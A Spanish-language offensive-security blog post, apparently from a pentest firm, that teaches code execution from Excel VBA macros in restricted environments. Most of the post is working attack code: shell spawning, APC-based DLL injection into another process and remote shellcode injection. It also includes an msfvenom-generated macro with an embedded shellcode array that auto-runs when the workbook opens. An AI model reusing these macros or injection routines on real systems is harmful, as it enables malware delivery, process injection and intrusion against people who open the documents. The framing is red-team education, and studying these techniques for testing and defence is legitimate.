Diferentes formas de ejecutar código con Macros de Excel
Introducción
En ocasiones durante los test de intrusión, y las operaciones de un servicio de Red Team, se logra acceso a entornos restringidos y controlados donde sólo se puede ejecutar un determinado set de aplicaciones (por ejemplo, un entorno Citrix). En este post abordaremos diferentes técnicas (todas ellas bien conocidas desde hace más de una década, pero nunca está de más recordarlas) para ejecutar código arbitrario utilizando las macros de Excel.
APIs de Windows
Probablemente la forma más simple de conseguir ejecutar comandos desde las macros de excel, y la que todos en alguna ocasión hemos utilizado, es llamar a la función «shell» de VBA para que ejecute un cmd.exe y obtener así una consola sobre la que trabajar y avanzar con la intrusión.
Sub test() Shell Environ("ComSpec") 'Utilizamos la variable de entorno "ComSpec" que contiene la ruta del cmd.exe End Sub
Ésta es probablemente la forma más mundana y poco creativa de continuar con la intrusión.
Las macros de Excel son programadas en VBA (Visual Basic for Aplications), lo que nos permite poder interaccionar con el sistema a más bajo nivel del que pudiera parecer en primera instancia. Desde VBA podemos utilizar las funciones exportadas por las DLLs que hay en el sistema, ampliando de esta forma nuestras capacidades. Un ejemplo puede ser invocar a la función «WinExec«de la librería «Kernel32.dll»:
Private Declare PtrSafe Function WinExec Lib "kernel32.dll" (ByVal lpCmdLine As String, ByVal nCmdShow As Integer) As Integer Sub test() WinExec Environ("COMSPEC"), 1 End Sub
A la hora de trabajar con las macros de excel es importante tener en cuenta la retrocompatibilidad y los escenarios donde el excel esté compilado para 32 y 64 bits. Por ejemplo, a la hora de trabajar con punteros se utiliza el tipo «LongPtr» en vez de «Long», ya que en versiones de 64 bits este tipo de dato es de 8 bytes mientras que en 32 bits es de 4 bytes. De igual forma, el atributo PtrSafe permite utilizar la instrucción Declare en sistemas de 32 o 64 bits con VBA 7, sin embargo no está presente en versiones anteriores, por lo que en las macros de excel se debe de recurrir a construcciones #If VBA7 Then … (declaracion con PtrSafe) #Else … (declaración normal) #End if.
Un listado completo de definiciones de funciones y estructuras de la API de Windows con PtrSafe puede ser encontrado aquí.
Inyección de código a través de macros de excel
Como vimos en el epígrafe anterior, desde VBA podemos utilizar funciones a más bajo nivel con las que trabajar. Gracias a esto es posible inyectar código arbitrario en el propio proceso del Excel o en otro, siendo ésta la táctica más explorada por el malware. En este apartado mencionaremos dos enfoques como ejemplo (quedando a discreción del lector implementar otros tipos de inyecciones – https://github.com/secrary/InjectProc, https://github.com/BreakingMalwareResearch/atom-bombing- como ejercicio): crear en disco una DLL para posteriormente inyectarla en otro proceso e inyectar directamente una shellcode.
1. Inyectar una DLL en otro proceso
Para este fin nos valdremos de una APC que ejecute una llamada a LoadLibrary con la ruta de nuestra DLL como parámetro, y de esta forma ejecute el código que hayamos definido en el DLLMain al ser cargadas por el thread del proceso en el que nos inyectemos. Un buen ejemplo de cómo utilizar esta técnica viene descrito en un post de Microsoft, a partir del cual haremos una transcripción del código de ejemplo a una macro de excel.
La idea general de esta técnica es enumerar todos los procesos de la máquina hasta encontrar aquel sobre el que queremos inyectarnos. Una vez localizamos este proceso, listaremos todos sus threads, y sobre cada uno añadiremos una APC que será encolada y ejecutada en algún momento.
'Declaramos las funciones que utilizaremos, junto con las constantes #If vba7 Then Private Declare PtrSafe Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal lFlags As LongPtr, ByVal lProcessID As LongPtr) As LongPtr Private Declare PtrSafe Function Process32First Lib "kernel32" (ByVal hSnapshot As LongPtr, sPE32 As PROCESSENTRY32) As Long Private Declare PtrSafe Function Process32Next Lib "kernel32" (ByVal hSnapshot As LongPtr, sPE32 As PROCESSENTRY32) As Long Private Declare PtrSafe Function Thread32First Lib "kernel32" (ByVal hObject As LongPtr, p As THREADENTRY32) As Boolean Private Declare PtrSafe Function Thread32Next Lib "kernel32" (ByVal hObject As LongPtr, p As THREADENTRY32) As Boolean Private Declare PtrSafe Function OpenProcess Lib "kernel32" (ByVal dwDesiredAcess As LongPtr, ByVal bInheritHandle As Long, ByVal dwProcessId As LongPtr) As Long Private Declare PtrSafe Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr Private Declare PtrSafe Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As LongPtr, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As LongPtr, lpNumberOfBytesWritten As LongPtr) As Long Private Declare PtrSafe Function OpenThread Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As LongPtr Private Declare PtrSafe Function QueueUserAPC Lib "kernel32" (ByVal pfnAPC As LongPtr, ByVal hThread As LongPtr, ByVal dwData As LongPtr) As LongPtr Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr Private Declare PtrSafe Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As LongPtr #Else Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long Private Declare Function Process32First Lib "kernel32" (ByVal hSnapshot As Long, sPE32 As PROCESSENTRY32) As Long Private Declare Function Process32Next Lib "kernel32" (ByVal hSnapshot As Long, sPE32 As PROCESSENTRY32) As Long Private Declare Function Thread32First Lib "kernel32" (ByVal hObject As Long, p As THREADENTRY32) As Boolean Private Declare Function Thread32Next Lib "kernel32" (ByVal hObject As Long, p As THREADENTRY32) As Boolean Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAcess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long Private Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal fAllocType As Long, ByVal flProtect As Long) As Long Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long Private Declare Function OpenThread Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long Private Declare Function QueueUserAPC Lib "kernel32" (ByVal pfnAPC As Long, ByVal hThread As Long, ByVal dwData As Long) As Long Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long #End if 'Enumerate PID & Threads Private Const TH32CS_SNAPPROCESS = &H2 Private Const TH32CS_SNAPTHREAD = &H4 Private Const INVALID_HANDLE_VALUE = -1& 'OpenProcess Private Const PROCESS_VM_WRITE = &H20 Private Const PROCESS_VM_OPERATION = &H8 'VirtualAllocEx Private Const MEM_COMMIT = &H1000 Private Const MEM_RESERVE = &H2000 Private Const PAGE_READWRITE = &H4 'OpenThread Private Const THREAD_SET_CONTEXT = &H10
Para enumerar los procesos y threads utilizaremos las funciones Process32First, Process32Next, Thread32First y Thread32Next , las cuales utilizan las estructuras PROCESSENTRY32 y THREADENTRY32:
#If Win64 Then Private Type PROCESSENTRY32 dwSize As Long cntUsage As Long th32ProcessID As Long th32DefaultHeapID As Long th32DefaultHeapIDB As Long th32ModuleID As Long cntThreads As Long th32ParentProcessID As Long pcPriClassBase As Long pcPriClassBaseB As Long dwFlags As Long szExeFile As String * 260 End Type #Else Private Type PROCESSENTRY32 dwSize As Long cntUsage As Long th32ProcessID As Long th32DefaultHeapID As Long th32ModuleID As Long cntThreads As Long th32ParentProcessID As Long pcPriClassBase As Long dwFlags As Long szExeFile As String * 260 End Type #End If Private Type THREADENTRY32 dwSize As Long cntUsage As Long th32ThreadID As Long th32OwnerProcessID As Long tpBasePri As Long tpDeltaPri As Long dwFlags As Long End Type
Inicialmente deberemos de tomar un snapshot de los procesos que se están ejecutando en la máquina, y los recorreremos uno a uno hasta encontrar uno cuyo nombre encaje con el que estamos buscando:
Target = "sublime_text.exe" 'Proceso objetivo hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS Or TH32CS_SNAPTHREAD, 0) 'Tomamos un snapshot If hSnapshot <> INVALID_HANDLE_VALUE Then 'Comprobamos que se ha tomado correctamente #If win64 Then sPE32.dwSize = LenB(sPE32) 'Debe de usarse LenB en x64 #Else sPE32.dwSize = Len(sPE32) #End If lRet = Process32First(hSnapshot, sPE32) 'Tomamos la información del primer proceso encontrado en el snapshot Do While lRet ' Iniciamos un bucle para recorrer todos los procesos iPositionNull = InStr(1, sPE32.szExeFile, Chr(0)) If iPositionNull > 0 Then strProcess = Left(sPE32.szExeFile, iPositionNull - 1) 'Cogemos el nombre del proceso Else strProcess = "" End If If strProcess = Target Then '¿Es nuestro proceso objetivo? pid = sPE32.th32ProcessID 'PID del proceso ... ... ... End If lRet = Process32Next(hSnapshot, sPE32) 'Siguiente proceso Loop
Lo siguiente será listar todos los threads asociados con ese proceso:
#If VBA7 Then sTE32.dwSize = LenB(sTE32) #Else sTE32.dwSize = Len(sTE32) #End If hThreadshot = Thread32First(hSnapshot, sTE32) Do While hThreadshot If sTE32.th32OwnerProcessID = pid Then 'Si el thread pertenece al PID que hemos sacado antes lo metemos con el resto If thr = "" Then thr = sTE32.th32ThreadID Else thr = thr & "|" & sTE32.th32ThreadID End If End If hThreadshot = Thread32Next(hSnapshot, sTE32) Loop ... ... threads = Split(thr, "|") 'Generamos un array con todos los identificadores de los threads
A continuación abriremos un handler al proceso (PID seleccionado), donde otorgaremos los permisos necesarios para poder asignar memoria y escribirla:
MsgBox "Threads enumerated!" hProcess = OpenProcess(PROCESS_VM_WRITE Or PROCESS_VM_OPERATION, False, pid) If hProcess = 0 Then MsgBox "OpenProcess Failed!" Else MsgBox "OpenProcess Successful!"
A través de VirtualAllocEx asignamos memoria con permisos de lectura y escritura, y escribimos en ella la ruta de nuestra DLL utilizando WriteProcessMemory. De esta forma podremos posteriormente utilizarlo como argumento para el LoadLibrary.
VirtRet = VirtualAllocEx(hProcess, 0, 4096, MEM_COMMIT Or MEM_RESERVE, PAGE_READWRITE) If VirtRet <> 0 Then ret = WriteProcessMemory(hProcess, ByVal VirtRet, ByVal dllpath, Len(dllpath), vbNull) If ret <> 0 Then MsgBox "Memory Wrote!"
Por último ya sólo queda recorrer cada hilo de los que habíamos listado anteriormente, crear un handler y añadirle una APC que llame a LoadLibrary() utilizando como parámetro la ruta de nuestra DLL.
For Each thread In threads hThread = OpenThread(THREAD_SET_CONTEXT, False, thread) 'Abrimos un handler If hThread = 0 Then MsgBox "OpenThread Failed!" Else hLib = GetModuleHandle("kernel32") retProc = GetProcAddress(hLib, "LoadLibraryA") 'Buscamos la dirección de loadlibrary If retProc <> 0 Then RetAPC = QueueUserAPC(retProc, hThread, VirtRet) 'Encolamos el APC pasándole como parámetros la dirección de loadlibrary y la dirección que contiene la ruta de nuestra DLL Else MsgBox "QueueUserAPC Failed!" End If End If Next thread
Cuando uno de los hilos cargue nuestra DLL, ejecutará automáticamente lo que tenga su DLLMain, permitiéndonos de esa forma ejecutar código en ese proceso (por ejemplo, una reverse shell). La estructura de la DLL sería similar a:
#include #include BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call,LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: //Aquí nuestro código que se ejecutará al cargarse la DLL break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
2. Inyectar una shellcode en otro proceso
Otra opción puede ser inyectar directamente una shellcode nuestra en otro proceso (o en el propio excel). Ésta técnica es utilizada por ejemplo por metasploit cuando genera una macro de excel:
root@Frederik:~|⇒ msfvenom -a x64 -p windows/x64/exec CMD=cmd -f vba No platform was selected, choosing Msf::Module::Platform::Windows from the payload No encoder or badchars specified, outputting raw payload Payload size: 271 bytes Final size of vba file: 2417 bytes #If Vba7 Then Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Eswra As Long, ByVal Nssuuaag As Long, ByVal Fozn As LongPtr, Ovw As Long, ByVal Eszngdvz As Long, Yqkekcr As Long) As LongPtr Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Hhhic As Long, ByVal Ohjgni As Long, ByVal Fyie As Long, ByVal Dsloxc As Long) As LongPtr Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Htcuumn As LongPtr, ByRef Ogfptgzd As Any, ByVal Bqo As Long) As LongPtr #Else Private Declare Function CreateThread Lib "kernel32" (ByVal Eswra As Long, ByVal Nssuuaag As Long, ByVal Fozn As Long, Ovw As Long, ByVal Eszngdvz As Long, Yqkekcr As Long) As Long Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Hhhic As Long, ByVal Ohjgni As Long, ByVal Fyie As Long, ByVal Dsloxc As Long) As Long Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Htcuumn As Long, ByRef Ogfptgzd As Any, ByVal Bqo As Long) As Long #EndIf Sub Auto_Open() Dim Wjhz As Long, Pkbwhv As Variant, Smgoz As Long #If Vba7 Then Dim Bogtvolby As LongPtr, Bzrggsmin As LongPtr #Else Dim Bogtvolby As Long, Bzrggsmin As Long #EndIf Pkbwhv = Array(72,131,228,240,232,192,0,0,0,65,81,65,80,82,81,86,72,49,210,101,72,139,82,96,72,139,82,24,72,139,82,32,72,139,114,80,72,15,183,74,74,77,49,201,72,49,192,172,60,97,124,2,44,32,65,193,201,13,65,1,193,226,237,82,65,81,72,139,82,32,139,66,60,72,1,208,139,128,136,0, _ 0,0,72,133,192,116,103,72,1,208,80,139,72,24,68,139,64,32,73,1,208,227,86,72,255,201,65,139,52,136,72,1,214,77,49,201,72,49,192,172,65,193,201,13,65,1,193,56,224,117,241,76,3,76,36,8,69,57,209,117,216,88,68,139,64,36,73,1,208,102,65,139,12,72,68,139,64,28,73,1, _ 208,65,139,4,136,72,1,208,65,88,65,88,94,89,90,65,88,65,89,65,90,72,131,236,32,65,82,255,224,88,65,89,90,72,139,18,233,87,255,255,255,93,72,186,1,0,0,0,0,0,0,0,72,141,141,1,1,0,0,65,186,49,139,111,135,255,213,187,240,181,162,86,65,186,166,149,189,157,255,213, _ 72,131,196,40,60,6,124,10,128,251,224,117,5,187,71,19,114,111,106,0,89,65,137,218,255,213,99,109,100,0) Bogtvolby = VirtualAlloc(0, UBound(Pkbwhv), &H1000, &H40) For Smgoz = LBound(Pkbwhv) To UBound(Pkbwhv) Wjhz = Pkbwhv(Smgoz) Bzrggsmin = RtlMoveMemory(Bogtvolby + Smgoz, Wjhz, 1) Next Smgoz Bzrggsmin = CreateThread(0, 0, Bogtvolby, 0, 0, 0) End Sub Sub AutoOpen() Auto_Open End Sub Sub Workbook_Open() Auto_Open End Sub
Pese al intento pedestre de añadir un mínimo de ofuscación a través de utilizar nombres aleatorios, puede observarse claramente cómo lo que hace el código es llamar a VirtualAlloc para reservar memoria, escribir en ella la shellcode con RtlMoveMemory, y después ejecutarla utilizando CreateThread. Nuestro planteamiento será similar, solo que inyectaremos nuestra shellcode en otro proceso diferente.
El esquema inicial es idéntico al anterior: tomamos un snapshot de todos los procesos, recorremos todos comparando el nombre con el que buscamos.
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS Or TH32CS_SNAPTHREAD, 0) If hSnapshot <> INVALID_HANDLE_VALUE Then #If Win64 Then sPE32.dwSize = LenB(sPE32) #Else sPE32.dwSize = Len(sPE32) #End If lRet = Process32First(hSnapshot, sPE32) Do While lRet iPositionNull = InStr(1, sPE32.szExeFile, Chr(0)) If iPositionNull > 0 Then strProcess = Left(sPE32.szExeFile, iPositionNull - 1) Else strProcess = "" End If If strProcess = Target Then pid = sPE32.th32ProcessID End If lRet = Process32Next(hSnapshot, sPE32) Loop
Al igual que antes, abrimos un handler y asignamos memoria con permsisos de escritura y lectura:
hProcess = OpenProcess(PROCESS_VM_WRITE Or PROCESS_VM_OPERATION, False, pid) If hProcess = 0 Then MsgBox "OpenProcess failed!" Else MsgBox "Process opened!" VirtRet = VirtualAllocEx(hProcess, 0, 4096, MEM_COMMIT Or MEM_RESERVE, PAGE_READWRITE) MsgBox Hex(GetLastError()) If VirtRet <> 0 Then MsgBox "Memory allocated at " & Hex(VirtRet)
Una vez que tenemos la memoria disponible, procedemos a escribir en ella nuestra shellcode y a cambiarle los permisos a esa región de memoria para que se pueda ejecutar:
arrayshell = Split("72,131,228...", ",") 'Shellcode For Each char In arrayshell If shellcode = "" Then shellcode = Chr(char) Else shellcode = shellcode & Chr(char) End If Next char ret = WriteProcessMemory(hProcess, ByVal VirtRet, ByVal shellcode, LenB(shellcode), vbNull) If ret <> 0 Then MsgBox "Memory Wrote!" ProcRet = VirtualProtectEx(hProcess, ByVal VirtRet, 4096, PAGE_EXECUTE_READ, PAGE_READWRITE)
En este punto tenemos la shellcode en memoria, con permisos de ejecución, dentro de otro proceso. Sólo resta disparar su ejecución utilizando CreateRemoteThread:
Dim thread As LongPtr thrRet = CreateRemoteThread(hProcess, ByVal 0, ByVal 0, ByVal VirtRet, ByVal 0, ByVal 0, thread)
Conclusión
Las macros de excel, más allá de su papel crucial en el malware, pueden ser aprovechadas para la ejecución de código en entornos restrictivos y con cierto nivel de bastionado. Si bien son técnicas utilizadas desde hace más de una década, nunca está de más volver a recordarlas.
Descubre nuestro trabajo y nuestros servicios de ciberseguridad en www.tarlogic.com/es/
En TarlogicTeo y en TarlogicMadrid.